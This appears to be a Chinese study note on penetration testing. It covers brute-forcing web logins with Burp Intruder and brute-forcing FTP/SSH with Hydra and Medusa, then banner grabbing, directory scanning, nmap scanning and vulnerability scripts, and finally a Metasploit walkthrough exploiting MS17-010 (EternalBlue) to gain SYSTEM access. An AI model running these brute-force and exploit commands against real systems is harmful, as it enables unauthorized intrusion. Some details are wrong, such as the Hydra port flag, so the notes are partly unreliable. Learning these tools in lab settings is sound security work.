使用BP和Hydra爆破相关的服务。
Hydra:九头蛇,开源的功能强大的爆破工具,支持的服务有很多,使用hydra爆破c/s架构的服务。使用bp爆破web登录端口。
dvwa:web应用程序漏洞演练平台,开源,集成的常见web漏洞,使用PHP+MYSQL环境的支持。
爆破=爆破工具(bp/hydra)+字典(用户字典/密码字典)
字典:就是一些用户或者口令(弱口令/使用社工软件生成)的集合
bp爆破登录页面(爆破单项密码)
step1:拦截数据包,登录页面的数据需要拦截下来,将拦截到的数据发送到"intruder":点击action,发送到intruder或者ctrl+i;
step2:进入postions模块,先点击clear,去除不需要爆破的项,重新选择要爆破对象的值,点击add,例如:password=§123§,意味着要爆破password,在爆破的过程中使用字典替换123;
step3:进入payloads,在payload options[Simple list]添加密码字典。点击load,找到密码字典位置,加载进来
step4:在options中,可以设置爆破时的一些规则,如:线程,匹配规则,排除规则。
step5:点击start attack。
step6:爆破结束之后,点击length,对结果进行排序,放在前几排的结果可能是正确密码。把账号和密码拿过去测试。
如何快速定位爆破出来的正确结果?
1.需要知道登录成功之后返回来的字符串,如:welcome
2.将字符添加到options中匹配规则中,grep match。
3.在results中,welcome下有选中的是正确结果。
使用bp爆破登录页面(多项)
step1:拦截数据包,登录页面的数据需要拦截下来,将拦截到的数据发送到"intruder":点击action,发送到intruder或者ctrl+i;
step2:进入postions模块,先点击clear,去除不需要爆破的项,重新选择要爆破对象的值,点击add,例如:password=§123§,意味着要爆破password,在爆破的过程中使用字典替换123;同时选择username=§123§。选择攻击模式cluster bomb
step3:在payload set中选1,在payload中选择需要的攻击载荷类型,然后在下方的payload optinos 中加载需要的字典,此处set出选择的1是第一个,2对应第二个选中的。
使用hydra爆破ftp/ssh。
step1:hydra -h 查看帮助信息,爆破单项(爆破密码)
hydra -l admin -P password.txt ftp://192.168.106.1
hydra -l admin -P password.txt 192.168.106.1 ftp
-l 表示知道爆破的账户
-P 后跟密码字典
step2: hydra -L user.txt -P password.txt ssh://192.168.106.128
-L 后跟用户兹迪纳
-P 后跟密码字典
如果爆破的服务修改了端口,使用-e 指定需要的端口。
banner信息收集
banner信息,欢迎语,在banner里中可以得到软件开发商的名字,软件名称,版本,服务类型等信息,通过这些信息可以使用某些工具直接去使用相对应的exp去攻击。
前提条件:需要和目标建立链接,只有建立了链接,才能获取对应的banner信息。
目标服务器上可能对banner信息进行了隐藏或者禁止读取。
搜集方法:
1使用NC(netcat,瑞士军刀)
nc -nv 192.168.111.10 21
-n 表示以数字形式显示ip
-v 表示显示详细信息。
2使用dmitry
dmitry -pb 192.168.106.1
3 nmap -sT -p1-200 --script=banner 192.168.1.1
-sT表示使用基于TCP方式扫描
-p1-200表示扫描端口是1-200
-script 表示使用脚本banner
4 amap -B 192.168.106.1 1-200
-B表示获取banner信息
1-200表示1-200端口
5 借助火狐浏览器中一个插件:wappalyzer,分析目标网站的平台太架构,网站环境
6 使用拦包工具连接响应包,在响应包中可以看到服务器的信息,bp,tamper data,live http heades 等。需要关注响应包中的两个参数,server x-powered-by
美杜莎medusa 开源的,支持的服务有很多种,ftp,ssh,mssql,mysql,snmp等等
kali系统中内置有。
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h 爆破的主机ip
-H ip集合
-u 用户名
-U 用户字典
-p 单个密码
-P 密码字典
-C 组合条目文件username:password
-M 模块
-O 输出list
-e ns e表示制定策略爆破,n表示空密码 s表示密码用户名相同
-n 端口
-t 线程数
-f 找到正确账户密码终止
-r 重试间隔时间
-d 显示所有模块的名称
目录扫描:扫描站点的目录,寻找敏感文件(目录名,探针文件,后台,robots.txt,备份文件,备份文件等)
目录:站点结构,权限控制不严格
探针文件:服务器配置信息,phpinfo.php readme.txt config.txt
后台:管理整个网站的入口,inurl:admin.php
robots.txt:一般存放在站点根目录,如果管理员对于robots.txt文件管理不合理就会造成信息泄露。
备份文件:数据库备份文件,网站备份文件等 .bak .zip www.rar
御剑后台扫描工具:
birbuster:
Nmap最早是linux中扫描和嗅探工具,网络链接扫描工具,主要探测主机存活(是否开机),
开启服务(扫端口),安全性问题(高级用法),系统类型(OS类型)
nmap的安装,配置环境变量。
用法:(命令行模式)
nmap -h
nmap 192.168.121.1 扫描单个ip
状态:
open
closed
filtered 被过滤,探测包被拦截,无法定位端口是否开启
unfiltered 未过滤,探测包没有被拦截,namp无法判断该端口是否开启。
open |filtered 开放或者被过滤的
closed|filtered 关闭或者被过滤的
nmap 192.168.211.0/24 扫描整个网段
nmap 192.168.211.10-200 扫描指定网络
nmap 192.168.211.10,100,200-230 扫描指定网络。
nmap 192.168.122.0/24 192.168.211.0/24 扫描不同网段
nmap -iL filename 扫描目标文件
nmap -iR filename 瞎几把扫模式:nmap -sS -PS80 -iR 0 -p80
nmap 192.168.1.0/24 --exclude 192.168.1.1,255,2-40 排除后面的网址
带有参数的扫描
nmap -sT 192.168.1.1 使用TCP全连接的方式。扫描过程需要三次握手建立连接。建立链接成功则说明端口开放,扫描速度慢。
namp -sS 192.168.1.1 使用SYN的数据包去检测。如果接收到ack,则说明端口开放
namp -sN 192.168.1.1 NULL扫描,发出去的包不设置任何标识位
注意:上述扫描的端口默认都是1-1000;
-p 后跟指定端口 -p20,21,22,80,3306 or -p- == -p1-65535
namp -sV 探测服务版本
nmap 192.168.1.1 >./re.txt
nmap 192.168.1.1 -oX ./re.xml 其中o输出,X是xml格式。
nmap -A 192.168.1.1 获取目标的所有的详细结果。全面扫描
nmap -O 192.168.1.1 探测操作系统类型
--script 使用脚本去探测
nmap --script smb-vuln-ms17-010 192.168.1.1 永恒之蓝
nmap --script smb-check-vulns 192.168.1.1 MS08-067
nmap --script ssl-heartbleed 192.168.1.1 心脏滴血
使用MSF通过MS17-010获取系统权限
step1:开启postgressql数据库 /etc/init.d/postgresql start
step2:是msfconsole 进入msf中
search 17-010搜索cve17-010相关的exp
auxiliary/scanner/smb/smb_ms17_010 扫描漏洞是否存在
exploit/windows/smb/smb_ms17_010_eternalblue用来攻击的exp
step3:探测漏洞是否存在
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.10.0/24
exploit
step4:攻击
use exploit/windows/smb/smb_ms17_010_eternalblue
set rhosts 10.10.10.12
exploit
step5: 攻击成功后得到目标主机的system权限。